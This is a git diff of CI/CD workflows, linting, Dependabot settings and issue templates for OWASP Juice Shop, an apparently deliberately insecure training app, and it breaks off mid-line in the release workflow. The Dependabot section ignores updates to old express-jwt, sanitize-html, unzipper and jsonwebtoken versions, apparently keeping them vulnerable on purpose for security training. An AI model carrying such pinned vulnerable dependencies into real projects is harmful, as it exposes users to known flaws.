diff --git a/.appveyor.yml b/.appveyor.yml deleted file mode 100644 index 329469c5d4e..00000000000 --- a/.appveyor.yml +++ /dev/null @@ -1,50 +0,0 @@ -version: '{build}' -init: - - 'git config --global core.autocrlf true' -branches: - except: - - gh-pages - - l10n_develop -skip_commits: - files: - - '*.md' - - LICENSE - - .travis.yml -environment: - matrix: - - nodejs_version: 10 - - nodejs_version: 8 - - nodejs_version: 9 - - nodejs_version: 11 -platform: - - x64 -install: - - ps: 'Install-Product node $env:nodejs_version $env:platform' - - 'node --version && npm --version' - - 'if exist node_modules rd /Q /S node_modules' - - 'if exist frontend\node_modules rd /Q /S frontend\node_modules' - - 'npm install --production' - - 'npm run package' -build: off -test: off -matrix: - fast_finish: true -artifacts: - - - path: 'dist\*' -deploy: - - - provider: GitHub - draft: true - auth_token: - secure: bFkucwU1Zoh4EgzKmTAwONzQxuWPWrPGa+yXgadKQRd2jz5JPDZEw1f1vz2r+7i1 - on: - appveyor_repo_tag: true -notifications: - - - provider: Slack - incoming_webhook: - secure: KzO8e88B0LKqAI0BQM6lNhCIn9rxAava3AcdVJDyTw420OLIAlK+qzzbLXaR0jSH9zIJz9zu0iGS1iaqu9Co+6owYUrHJlBGrUZ/lZNCsDo= - on_build_success: false - on_build_failure: false - on_build_status_changed: true diff --git a/.codeclimate.yml b/.codeclimate.yml index e392ef5668e..789490203ba 100644 --- a/.codeclimate.yml +++ b/.codeclimate.yml @@ -1,17 +1,16 @@ -engines: - eslint: - enabled: true - csslint: - enabled: true +version: "2" +plugins: fixme: enabled: true -ratings: - paths: - - '**.ts' - - '**.js' - - '**.css' - - '**.scss' + duplication: + enabled: true checks: + file-lines: + config: + threshold: 300 + method-lines: + config: + threshold: 30 method-complexity: config: threshold: 7 @@ -19,8 +18,11 @@ checks: enabled: false identical-code: enabled: false -exclude_paths: - - 'data/datacreator.js' - - 'frontend/src/assets/private/**/*' - - 'Gruntfile.js' +exclude_patterns: - '**/*conf.js' + - 'Gruntfile.js' + - 'data/datacreator.ts' + - 'frontend/src/hacking-instructor/**/*.ts' + - 'frontend/src/assets/private/*.js' + - 'lib/logger.ts' + - 'data/static/codefixes/**' diff --git a/.dependabot/config.yml b/.dependabot/config.yml new file mode 100644 index 00000000000..ed8eba07571 --- /dev/null +++ b/.dependabot/config.yml @@ -0,0 +1,31 @@ +version: 1 +update_configs: + - package_manager: "javascript" + directory: "/" + update_schedule: "live" + target_branch: "develop" + default_reviewers: + - "bkimminich" + default_labels: + - "dependencies" + ignored_updates: + - match: + dependency_name: "express-jwt" + version_requirement: "0.1.3" + - match: + dependency_name: "sanitize-html" + version_requirement: "1.4.2" + - match: + dependency_name: "unzipper" + version_requirement: "0.9.15" + - match: + dependency_name: "jsonwebtoken" + version_requirement: "0.4.0" + - package_manager: "javascript" + directory: "/frontend" + update_schedule: "live" + target_branch: "develop" + default_reviewers: + - "bkimminich" + default_labels: + - "dependencies" diff --git a/.devcontainer.json b/.devcontainer.json new file mode 100644 index 00000000000..d7ae27d0081 --- /dev/null +++ b/.devcontainer.json @@ -0,0 +1,14 @@ +{ + "extensions": [ + "eg2.vscode-npm-script", + "angular.ng-template", + "dbaeumer.vscode-eslint", + "stylelint.vscode-stylelint" + ], + "settings": { + "eslint.workingDirectories": [ + { "mode": "auto" } + ] + }, + "postCreateCommand": "export NG_CLI_ANALYTICS=ci && npm i -g @angular/cli && npm install" +} \ No newline at end of file diff --git a/.dockerignore b/.dockerignore index 91c62ada2a3..5f114213be6 100644 --- a/.dockerignore +++ b/.dockerignore @@ -1,9 +1,15 @@ .git/ +monitoring/ node_modules/ screenshots/ test/ -build/ +build/reports/ dist/ vagrant/ +logs/ +Dockerfile +.npmrc + +# Pattern is *not covered* by node_modules/ above no matter what IntelliJ says! frontend/node_modules/ -Dockerfile \ No newline at end of file +frontend/dist/ diff --git a/.eslintrc.js b/.eslintrc.js new file mode 100644 index 00000000000..302ef9949fd --- /dev/null +++ b/.eslintrc.js @@ -0,0 +1,46 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +module.exports = { + extends: 'standard-with-typescript', + env: { + browser: true, + node: true, + jasmine: true, + mocha: true, + jest: true + }, + globals: { + Atomics: 'readonly', + SharedArrayBuffer: 'readonly' + }, + parserOptions: { + ecmaVersion: 2018, + project: './tsconfig.json' + }, + ignorePatterns: [ + 'app/private/**', + 'vagrant/**', + 'frontend/**', + 'data/static/codefixes/**', + 'dist/**' + ], + overrides: [ + { + files: ['**/*.ts'], + parser: '@typescript-eslint/parser', + rules: { + 'no-void': 'off', // conflicting with recommendation from @typescript-eslint/no-floating-promises + // FIXME warnings below this line need to be checked and fixed. Line end comments below are number of findings per rule on 02.05.2022 + '@typescript-eslint/no-misused-promises': 'off', // 1 + '@typescript-eslint/explicit-function-return-type': 'off', // 197 + '@typescript-eslint/restrict-plus-operands': 'off', // 250 + '@typescript-eslint/strict-boolean-expressions': 'off', // 337 + '@typescript-eslint/restrict-template-expressions': 'off', // 395 + '@typescript-eslint/no-var-requires': 'off' // 509 + } + } + ] +} diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS new file mode 100644 index 00000000000..7afa2d618ca --- /dev/null +++ b/.github/CODEOWNERS @@ -0,0 +1 @@ +/vagrant/ @wurstbrot diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 00000000000..94dbba403be --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1,2 @@ +custom: https://sponsor.owasp-juice.shop +github: OWASP diff --git a/.github/ISSUE_TEMPLATE/bug-report.md b/.github/ISSUE_TEMPLATE/bug-report.md new file mode 100644 index 00000000000..7f57b910d83 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug-report.md @@ -0,0 +1,63 @@ +--- +name: "\U0001F41BBug report" +about: Report a bug in OWASP Juice Shop +title: '[🐛] ' +labels: bug +assignees: '' + +--- + + + +# :bug: Bug report + +## Description + + +A clear and concise description of the problem... + + +### Is this a regression? + + + +Yes, the previous version in which this bug was not present was: `x.y.z` + + +## :microscope: Minimal Reproduction + + + + +## :fire: Exception or Error + +

+
+
+
+
+ + +## :deciduous_tree: Your Environment + +

+
+
+
+
+ + +### Additional Information + + + diff --git a/.github/ISSUE_TEMPLATE/challenge-idea.md b/.github/ISSUE_TEMPLATE/challenge-idea.md new file mode 100644 index 00000000000..c1317a02b91 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/challenge-idea.md @@ -0,0 +1,43 @@ +--- +name: "⭐Challenge idea" +about: Idea for a new hacking challenge in OWASP Juice Shop +title: '[⭐] ' +labels: challenge +assignees: '' + +--- + + + +# :star: Challenge idea + +### Description + + A clear and concise description of the new hacking challenge and why the Juice Shop needs it... + +### Underlying vulnerability/ies + + Security vulnerabilities or design flaws this challenge will be based on. Optimally include CWE, OWASP or similar references. + +### Expected difficulty + + + + +| :heavy_check_mark: / :x: | Difficulty | +|:------------------------:|:-------------------------------------| +| :grey_question: | :star: | +| :grey_question: | :star::star: | +| :grey_question: | :star::star::star: | +| :grey_question: | :star::star::star::star: | +| :grey_question: | :star::star::star::star::star: | +| :grey_question: | :star::star::star::star::star::star: | + +### Possible attack flow + + Have you considered how the challenge could be exploited by the attacker? diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml new file mode 100644 index 00000000000..b51d1946571 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/config.yml @@ -0,0 +1,4 @@ +contact_links: + - name: ❓Support request + url: https://gitter.im/bkimminich/juice-shop + about: Questions and requests for support diff --git a/.github/ISSUE_TEMPLATE/feature-request.md b/.github/ISSUE_TEMPLATE/feature-request.md new file mode 100644 index 00000000000..72ea7b6a555 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature-request.md @@ -0,0 +1,31 @@ +--- +name: "\U0001F680Feature request" +about: Suggest a feature for OWASP Juice Shop +title: '[🚀] ' +labels: feature +assignees: '' + +--- + + + +# :rocket: Feature request + +### Description + + A clear and concise description of the problem or missing capability... + + +### Solution ideas + + If you have a solution in mind, please describe it. + + +### Possible alternatives + + Have you considered any alternative solutions or workarounds? \ No newline at end of file diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md new file mode 100644 index 00000000000..a9e46ed8cd7 --- /dev/null +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -0,0 +1,23 @@ + + +### Description + + +A clear and concise summary of the change and which issue (if any) it fixes. Should also include relevant motivation and context. + +Resolved or fixed issue: + +### Affirmation + +- [ ] My code follows the [CONTRIBUTING.md](https://github.com/juice-shop/juice-shop/blob/master/CONTRIBUTING.md) guidelines diff --git a/.github/stale.yml b/.github/stale.yml deleted file mode 100644 index ce918b1b719..00000000000 --- a/.github/stale.yml +++ /dev/null @@ -1,14 +0,0 @@ ---- -daysUntilStale: 84 -daysUntilClose: 14 -exemptLabels: - - bounty - - challenge - - enhancement - - technical debt -staleLabel: stale -markComment: > - This issue has been automatically marked as stale because it has not had - recent activity. It will be _closed in two weeks_ if no further activity occurs. - :heart: Thank you for your contributions to [OWASP Juice Shop](http://owasp-juice.shop)! -closeComment: false \ No newline at end of file diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 00000000000..8641eb638f6 --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,387 @@ +name: "CI/CD Pipeline" +on: + push: + branches-ignore: + - l10n_develop + - gh-pages + paths-ignore: + - '*.md' + - 'LICENSE' + - 'monitoring/grafana-dashboard.json' + - 'screenshots/**' + tags-ignore: + - '*' + pull_request: + paths-ignore: + - '*.md' + - 'LICENSE' + - 'data/static/i18n/*.json' + - 'frontend/src/assets/i18n/*.json' +env: + ANGULAR_CLI_VERSION: 13 +jobs: + lint: + runs-on: ubuntu-latest + steps: + - name: "Check out Git repository" + uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f #v2: v2.3.4 available + - name: "Use Node.js 16" + uses: actions/setup-node@f1f314fca9dfce2769ece7d933488f076716723e #v1: v2.x available + with: + node-version: 16 + - name: "Install CLI tools" + run: npm install -g @angular/cli@$ANGULAR_CLI_VERSION + - name: "Install application minimalistically" + run: | + npm install --ignore-scripts + cd frontend + npm install --ignore-scripts --legacy-peer-deps + - name: "Lint source code" + run: npm run lint + - name: "Lint customization configs" + run: > + npm run lint:config -- -f ./config/7ms.yml && + npm run lint:config -- -f ./config/addo.yml && + npm run lint:config -- -f ./config/bodgeit.yml && + npm run lint:config -- -f ./config/ctf.yml && + npm run lint:config -- -f ./config/default.yml && + npm run lint:config -- -f ./config/fbctf.yml && + npm run lint:config -- -f ./config/juicebox.yml && + npm run lint:config -- -f ./config/mozilla.yml && + npm run lint:config -- -f ./config/oss.yml && + npm run lint:config -- -f ./config/quiet.yml && + npm run lint:config -- -f ./config/tutorial.yml && + npm run lint:config -- -f ./config/unsafe.yml + coding-challenge-rsn: + runs-on: windows-latest + steps: + - name: "Check out Git repository" + uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f #v2: v2.3.4 available + - name: "Use Node.js 16" + uses: actions/setup-node@f1f314fca9dfce2769ece7d933488f076716723e #v1: v2.x available + with: + node-version: 16 + - name: "Install CLI tools" + run: npm install -g @angular/cli@$ANGULAR_CLI_VERSION + - name: "Install application" + run: npm install + - name: "Check coding challenges for accidental code discrepancies" + run: npm run rsn + test: + runs-on: ${{ matrix.os }} + strategy: + matrix: + os: [ubuntu-latest, windows-latest, macos-latest] + node-version: [14, 16, 18] + steps: + - name: "Check out Git repository" + if: github.repository == 'juice-shop/juice-shop' || github.repository != 'juice-shop/juice-shop' && matrix.os == 'ubuntu-latest' && matrix.node-version == '16' + uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f #v2: v2.3.4 available + - name: "Use Node.js ${{ matrix.node-version }}" + if: github.repository == 'juice-shop/juice-shop' || github.repository != 'juice-shop/juice-shop' && matrix.os == 'ubuntu-latest' && matrix.node-version == '16' + uses: actions/setup-node@f1f314fca9dfce2769ece7d933488f076716723e #v1: v2.x available + with: + node-version: ${{ matrix.node-version }} + - name: "Install CLI tools" + if: github.repository == 'juice-shop/juice-shop' || github.repository != 'juice-shop/juice-shop' && matrix.os == 'ubuntu-latest' && matrix.node-version == '16' + run: npm install -g @angular/cli@$ANGULAR_CLI_VERSION + - name: "Install application" + if: github.repository == 'juice-shop/juice-shop' || github.repository != 'juice-shop/juice-shop' && matrix.os == 'ubuntu-latest' && matrix.node-version == '16' + run: npm install + - name: "Execute unit tests" + if: github.repository == 'juice-shop/juice-shop' || github.repository != 'juice-shop/juice-shop' && matrix.os == 'ubuntu-latest' && matrix.node-version == '16' + uses: nick-invision/retry@45ba062d357edb3b29c4a94b456b188716f61020 #v2: 2.4.1 available + with: + timeout_minutes: 15 + max_attempts: 3 + command: npm test + - name: "Copy unit test coverage data" + run: | + cp build/reports/coverage/frontend-tests/lcov.info frontend-lcov.info + cp build/reports/coverage/server-tests/lcov.info server-lcov.info + - name: "Upload unit test coverage data" + if: github.repository == 'juice-shop/juice-shop' && github.event_name == 'push' && matrix.os == 'ubuntu-latest' && matrix.node-version == '16' + uses: actions/upload-artifact@6673cd052c4cd6fcf4b4e6e60ea986c889389535 #v3: v3.0.0 available + with: + name: unit-test-lcov + path: | + frontend-lcov.info + server-lcov.info + api-test: + runs-on: ${{ matrix.os }} + strategy: + matrix: + os: [ubuntu-latest, windows-latest, macos-latest] + node-version: [14, 16, 18] + steps: + - name: "Check out Git repository" + if: github.repository == 'juice-shop/juice-shop' || github.repository != 'juice-shop/juice-shop' && matrix.os == 'ubuntu-latest' && matrix.node-version == '16' + uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f #v2: v2.3.4 available + - name: "Use Node.js ${{ matrix.node-version }}" + if: github.repository == 'juice-shop/juice-shop' || github.repository != 'juice-shop/juice-shop' && matrix.os == 'ubuntu-latest' && matrix.node-version == '16' + uses: actions/setup-node@f1f314fca9dfce2769ece7d933488f076716723e #v1: v2.x available + with: + node-version: ${{ matrix.node-version }} + - name: "Install CLI tools" + if: github.repository == 'juice-shop/juice-shop' || github.repository != 'juice-shop/juice-shop' && matrix.os == 'ubuntu-latest' && matrix.node-version == '16' + run: npm install -g @angular/cli@$ANGULAR_CLI_VERSION + - name: "Install application" + if: github.repository == 'juice-shop/juice-shop' || github.repository != 'juice-shop/juice-shop' && matrix.os == 'ubuntu-latest' && matrix.node-version == '16' + run: npm install + - name: "Execute integration tests" + if: github.repository == 'juice-shop/juice-shop' || github.repository != 'juice-shop/juice-shop' && matrix.os == 'ubuntu-latest' && matrix.node-version == '16' + uses: nick-invision/retry@45ba062d357edb3b29c4a94b456b188716f61020 #v2: 2.4.1 available + with: + timeout_minutes: 5 + max_attempts: 3 + command: | + if [ "$RUNNER_OS" == "Windows" ]; then + set NODE_ENV=test + else + export NODE_ENV=test + fi + npm run frisby + shell: bash + - name: "Copy API test coverage data" + run: cp build/reports/coverage/api-tests/lcov.info api-lcov.info + - name: "Upload API test coverage data" + if: github.repository == 'juice-shop/juice-shop' && github.event_name == 'push' && matrix.os == 'ubuntu-latest' && matrix.node-version == '16' + uses: actions/upload-artifact@6673cd052c4cd6fcf4b4e6e60ea986c889389535 #v3: v3.0.0 available + with: + name: api-test-lcov + path: | + api-lcov.info + coverage-report: + needs: [test, api-test] + runs-on: ubuntu-latest + if: github.repository == 'juice-shop/juice-shop' && github.event_name == 'push' + steps: + - name: "Check out Git repository" + uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f #v2: v2.3.4 available + - name: "Download unit test coverage data" + uses: actions/download-artifact@fb598a63ae348fa914e94cd0ff38f362e927b741 #v3: v3.0.0 available + with: + name: unit-test-lcov + - name: "Download API test coverage data" + uses: actions/download-artifact@fb598a63ae348fa914e94cd0ff38f362e927b741 #v3: v3.0.0 available + with: + name: api-test-lcov + - name: "Publish coverage to Codeclimate" + env: + CC_TEST_REPORTER_ID: ${{ secrets.CC_TEST_REPORTER_ID }} + run: | + curl -L https://codeclimate.com/downloads/test-reporter/test-reporter-latest-linux-amd64 > ./cc-test-reporter + chmod +x ./cc-test-reporter + sed -i s/SF:/SF:frontend\\//g frontend-lcov.info + ./cc-test-reporter format-coverage -t lcov -o codeclimate.frontend.json frontend-lcov.info + ./cc-test-reporter format-coverage -t lcov -o codeclimate.server.json server-lcov.info + ./cc-test-reporter format-coverage -t lcov -o codeclimate.api.json api-lcov.info + ./cc-test-reporter sum-coverage codeclimate.*.json -p 3 + ./cc-test-reporter upload-coverage + shell: bash + custom-config-test: + runs-on: ubuntu-latest + steps: + - name: "Check out Git repository" + uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f #v2: v2.3.4 available + - name: "Use Node.js 16" + uses: actions/setup-node@f1f314fca9dfce2769ece7d933488f076716723e #v1: v2.x available + with: + node-version: 16 + - name: "Install CLI tools" + run: npm install -g @angular/cli@$ANGULAR_CLI_VERSION + - name: "Install application" + if: github.repository == 'juice-shop/juice-shop' || github.repository != 'juice-shop/juice-shop' && matrix.os == 'ubuntu-latest' && matrix.node-version == '16' + run: npm install + - name: "Execute server tests for each custom configuration" + uses: nick-invision/retry@45ba062d357edb3b29c4a94b456b188716f61020 #v2: 2.4.1 available + with: + timeout_minutes: 10 + max_attempts: 3 + command: > + NODE_ENV=7ms npm run test:server && + NODE_ENV=addo npm run test:server && + NODE_ENV=bodgeit npm run test:server && + NODE_ENV=ctf npm run test:server && + NODE_ENV=fbctf npm run test:server && + NODE_ENV=juicebox npm run test:server && + NODE_ENV=mozilla npm run test:server && + NODE_ENV=oss npm run test:server && + NODE_ENV=quiet npm run test:server && + NODE_ENV=tutorial npm run test:server && + NODE_ENV=unsafe npm run test:server + e2e: + runs-on: ${{ matrix.os }} + strategy: + matrix: + os: [ubuntu-latest, macos-latest] + browser: [chrome] # FIXME Switch back to [chrome, firefox] after debugging extreme flakiness of Firefox on CI/CD + fail-fast: false + steps: + - name: "Check out Git repository" + uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f #v2: v2.3.4 available + - name: "Use Node.js 16" + uses: actions/setup-node@f1f314fca9dfce2769ece7d933488f076716723e #v1: v2.x available + with: + node-version: 16 + - name: "Install CLI tools" + run: npm install -g @angular/cli + - name: "Install application" + run: npm install + - name: "Execute end-to-end tests on Ubuntu" + if: ${{ matrix.os == 'ubuntu-latest' }} + uses: cypress-io/github-action@c662a784116e1a26360c4e1fc0a90feedb4b5ed3 #v3.1.0 + with: + install: false + browser: ${{ matrix.browser }} + start: npm start + wait-on: http://localhost:3000 + record: true + group: ${{ matrix.browser }} @ ${{ matrix.os }} + env: + SOLUTIONS_WEBHOOK: ${{ secrets.E2E_SOLUTIONS_WEBHOOK }} + CYPRESS_RECORD_KEY: ${{ secrets.CYPRESS_RECORD_KEY }} + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + - name: "Execute end-to-end tests on Mac" + if: ${{ matrix.os == 'macos-latest' }} + uses: cypress-io/github-action@c662a784116e1a26360c4e1fc0a90feedb4b5ed3 #v3.1.0 + with: + install: false + browser: ${{ matrix.browser }} + start: npm start + wait-on: http://localhost:3000 + record: true + group: ${{ matrix.browser }} @ ${{ matrix.os }} + env: + CYPRESS_CACHE_FOLDER: /Users/runner/Library/Caches/Cypress + CYPRESS_RECORD_KEY: ${{ secrets.CYPRESS_RECORD_KEY }} + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + smoke-test: + runs-on: ubuntu-latest + steps: + - name: "Check out Git repository" + uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f #v2: v2.3.4 available + - name: "Use Node.js 16" + uses: actions/setup-node@f1f314fca9dfce2769ece7d933488f076716723e #v1: v2.x available + with: + node-version: 16 + - name: "Install CLI tools" + run: | + npm install -g @angular/cli@$ANGULAR_CLI_VERSION + npm install -g grunt-cli + - name: "Set packaging options for Grunt" + run: | + echo "PCKG_OS_NAME=linux" >> $GITHUB_ENV + echo "PCKG_NODE_VERSION=14" >> $GITHUB_ENV + echo "PCKG_CPU_ARCH=x64" >> $GITHUB_ENV + - name: "Package application" + run: | + npm install --production + npm install -g grunt-cli + npm run package:ci + - name: "Unpack application archive" + run: | + cd dist + tar -zxf juice-shop-*.tgz + - name: "Execute smoke test" + run: | + cd dist/juice-shop_* + npm start & + cd ../.. + chmod +x test/smoke/smoke-test.sh + test/smoke/smoke-test.sh http://localhost:3000 + docker-test: + runs-on: ubuntu-latest + steps: + - name: "Check out Git repository" + uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f #v2: v2.3.4 available + - name: "Execute smoke test on Docker" + run: docker-compose -f docker-compose.test.yml up --exit-code-from sut + docker: + if: github.repository == 'juice-shop/juice-shop' && github.event_name == 'push' && (github.ref == 'refs/heads/develop' || github.ref == 'refs/heads/master') + needs: [test, api-test, e2e, custom-config-test, docker-test] + runs-on: ubuntu-latest + steps: + - name: "Check out Git repository" + uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f #v2: v2.3.4 available + - name: "Set up QEMU" + uses: docker/setup-qemu-action@27d0a4f181a40b142cce983c5393082c365d1480 #v1: V1.2.0 available + - name: "Set up Docker Buildx" + uses: docker/setup-buildx-action@94ab11c41e45d028884a99163086648e898eed25 #v1 + - name: "Login to DockerHub" + uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9 #v1.10 + with: + username: ${{ secrets.DOCKERHUB_USERNAME }} + password: ${{ secrets.DOCKERHUB_TOKEN }} + - name: "Set tag & labels for ${{ github.ref }}" + run: | + if [ "$GITHUB_REF" == "refs/heads/master" ]; then + echo "DOCKER_TAG=latest" >> $GITHUB_ENV + else + echo "DOCKER_TAG=snapshot" >> $GITHUB_ENV + fi + echo "VCS_REF=`git rev-parse --short HEAD`" >> $GITHUB_ENV + echo "BUILD_DATE=`date -u +”%Y-%m-%dT%H:%M:%SZ”`" >> $GITHUB_ENV + - name: "Build and push for AMD processors" + uses: docker/build-push-action@a66e35b9cbcf4ad0ea91ffcaf7bbad63ad9e0229 #note: newer is available + with: + context: . + file: ./Dockerfile + platforms: linux/amd64,linux/arm64 + push: true + tags: | + bkimminich/juice-shop:${{ env.DOCKER_TAG }} + build-args: | + VCS_REF=${{ env.VCS_REF }} + BUILD_DATE=${{ env.BUILD_DATE }} + - name: "Build and push for ARM processors" + uses: docker/build-push-action@a66e35b9cbcf4ad0ea91ffcaf7bbad63ad9e0229 #note: newer is available + with: + context: . + file: ./Dockerfile.arm + platforms: linux/arm/v7 + push: true + tags: | + bkimminich/juice-shop:${{ env.DOCKER_TAG }}-arm + build-args: | + VCS_REF=${{ env.VCS_REF }} + BUILD_DATE=${{ env.BUILD_DATE }} + heroku: + if: github.repository == 'juice-shop/juice-shop' && github.event_name == 'push' && (github.ref == 'refs/heads/develop' || github.ref == 'refs/heads/master') + needs: [test, api-test, e2e, custom-config-test] + runs-on: ubuntu-latest + steps: + - name: "Check out Git repository" + uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f #v2: v2.3.4 available + - name: "Set Heroku app & branch for ${{ github.ref }}" + run: | + if [ "$GITHUB_REF" == "refs/heads/master" ]; then + echo "HEROKU_APP=juice-shop" >> $GITHUB_ENV + echo "HEROKU_BRANCH=master" >> $GITHUB_ENV + else + echo "HEROKU_APP=juice-shop-staging" >> $GITHUB_ENV + echo "HEROKU_BRANCH=develop" >> $GITHUB_ENV + fi + - name: "Deploy ${{ github.ref }} to Heroku" + uses: akhileshns/heroku-deploy@79ef2ae4ff9b897010907016b268fd0f88561820 #v3.12.12 + with: + heroku_api_key: ${{ secrets.HEROKU_API_KEY }} + heroku_app_name: ${{ env.HEROKU_APP }} + heroku_email: bjoern.kimminich@owasp.org + branch: ${{ env.HEROKU_BRANCH }} + notify-slack: + if: github.repository == 'juice-shop/juice-shop' && github.event_name == 'push' && (success() || failure()) + needs: + - docker + - heroku + - lint + - coding-challenge-rsn + - smoke-test + - coverage-report + runs-on: ubuntu-latest + steps: + - name: "Slack workflow notification" + uses: Gamesight/slack-workflow-status@master + with: + repo_token: ${{ secrets.GITHUB_TOKEN }} + slack_webhook_url: ${{ secrets.SLACK_WEBHOOK_URL }} diff --git a/.github/workflows/codeql-analysis.yml b/.github/workflows/codeql-analysis.yml new file mode 100644 index 00000000000..27990cf833b --- /dev/null +++ b/.github/workflows/codeql-analysis.yml @@ -0,0 +1,30 @@ +name: "CodeQL Scan" + +on: + push: + pull_request: + +jobs: + analyze: + name: Analyze + runs-on: ubuntu-latest + permissions: + actions: read + contents: read + security-events: write + strategy: + fail-fast: false + matrix: + language: [ 'javascript' ] + steps: + - name: Checkout repository + uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f #v2: v2.3.4 available + - name: Initialize CodeQL + uses: github/codeql-action/init@v1 + with: + languages: ${{ matrix.language }} + queries: security-extended + - name: Autobuild + uses: github/codeql-action/autobuild@v1 + - name: Perform CodeQL Analysis + uses: github/codeql-action/analyze@v1 diff --git a/.github/workflows/lint-fixer.yml b/.github/workflows/lint-fixer.yml new file mode 100644 index 00000000000..04d7fe760a9 --- /dev/null +++ b/.github/workflows/lint-fixer.yml @@ -0,0 +1,31 @@ +name: "Let me lint:fix that for you" + +on: [push] + +jobs: + LMLFTFY: + runs-on: ubuntu-latest + steps: + - name: "Check out Git repository" + uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f #v2: v2.3.4 available + - name: "Use Node.js 14" + uses: actions/setup-node@f1f314fca9dfce2769ece7d933488f076716723e #v1: v2.x available + with: + node-version: 16 + - name: "Install CLI tools" + run: npm install -g @angular/cli + - name: "Install application" + run: | + npm install --ignore-scripts + cd frontend + npm install --ignore-scripts --legacy-peer-deps + - name: "Fix everything which can be fixed" + run: 'npm run lint:fix' + - uses: stefanzweifel/git-auto-commit-action@v4.0.0 + with: + commit_message: "Auto-fix linting issues" + branch: ${{ github.head_ref }} + commit_options: '--signoff' + commit_user_name: JuiceShopBot + commit_user_email: 61591748+JuiceShopBot@users.noreply.github.com + commit_author: JuiceShopBot <61591748+JuiceShopBot@users.noreply.github.com> \ No newline at end of file diff --git a/.github/workflows/lock.yml b/.github/workflows/lock.yml new file mode 100644 index 00000000000..9d10e79c2f7 --- /dev/null +++ b/.github/workflows/lock.yml @@ -0,0 +1,22 @@ +name: 'Lock Threads' + +on: + schedule: + - cron: '0 0 * * *' + +permissions: + issues: write + pull-requests: write + +jobs: + action: + runs-on: ubuntu-latest + steps: + - uses: dessant/lock-threads@f1a42f0f44eb83361d617a014663e1a76cf282d2 #note newer is available + with: + issue-lock-comment: > + This thread has been automatically locked because it has not had + recent activity after it was closed. :lock: Please open a new issue + for regressions or related bugs. + issue-lock-reason: '' + pr-lock-reason: '' \ No newline at end of file diff --git a/.github/workflows/rebase.yml b/.github/workflows/rebase.yml new file mode 100644 index 00000000000..06880289535 --- /dev/null +++ b/.github/workflows/rebase.yml @@ -0,0 +1,26 @@ +name: Automatic Rebase + +on: + issue_comment: + types: [created] + +jobs: + rebase: + name: Rebase + if: github.event.issue.pull_request != '' && contains(github.event.comment.body, '/rebase') + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@master + with: + fetch-depth: 0 + - name: Automatic Rebase + uses: cirrus-actions/rebase@1.2 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + # https://github.community/t5/GitHub-Actions/Workflow-is-failing-if-no-job-can-be-ran-due-to-condition/m-p/38186#M3250 + always_job: + name: Always run job + runs-on: ubuntu-latest + steps: + - name: Always run + run: echo "This job is used to prevent the workflow to fail when all other jobs are skipped." \ No newline at end of file diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 00000000000..95c5b300ffd --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,104 @@ +name: "Release Pipeline" +on: + push: + tags: + - v* +jobs: + package: + runs-on: ${{ matrix.os }} + strategy: + matrix: + os: [ubuntu-latest, windows-latest, macos-latest] + node-version: [14, 16, 18] + steps: + - name: "Check out Git repository" + uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f #v2: v2.3.4 available + - name: "Use Node.js ${{ matrix.node-version }}" + uses: actions/setup-node@f1f314fca9dfce2769ece7d933488f076716723e #v1: v2.x available + with: + node-version: ${{ matrix.node-version }} + - name: "Install CLI tools" + run: | + npm install -g @angular/cli + npm install -g grunt-cli + - name: "Set packaging options for Grunt" + run: | + if [ "$RUNNER_OS" == "Windows" ]; then + echo "PCKG_OS_NAME=win32" >> $GITHUB_ENV + elif [ "$RUNNER_OS" == "macOS" ]; then + echo "PCKG_OS_NAME=darwin" >> $GITHUB_ENV + else + echo "PCKG_OS_NAME=linux" >> $GITHUB_ENV + fi + echo "PCKG_CPU_ARCH=x64" >> $GITHUB_ENV + echo "PCKG_NODE_VERSION=${{ matrix.node-version }}" >> $GITHUB_ENV + shell: bash + - name: "Package application" + run: | + npm install --production + npm install -g grunt-cli + npm run package:ci + - name: 'Attach packaged archive to tag release' + uses: softprops/action-gh-release@v1 + with: + draft: true + files: dist/* + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + docker: + runs-on: ubuntu-latest + steps: + - name: "Check out Git repository" + uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f #v2: v2.3.4 available + - name: "Set up QEMU" + uses: docker/setup-qemu-action@27d0a4f181a40b142cce983c5393082c365d1480 #v1: 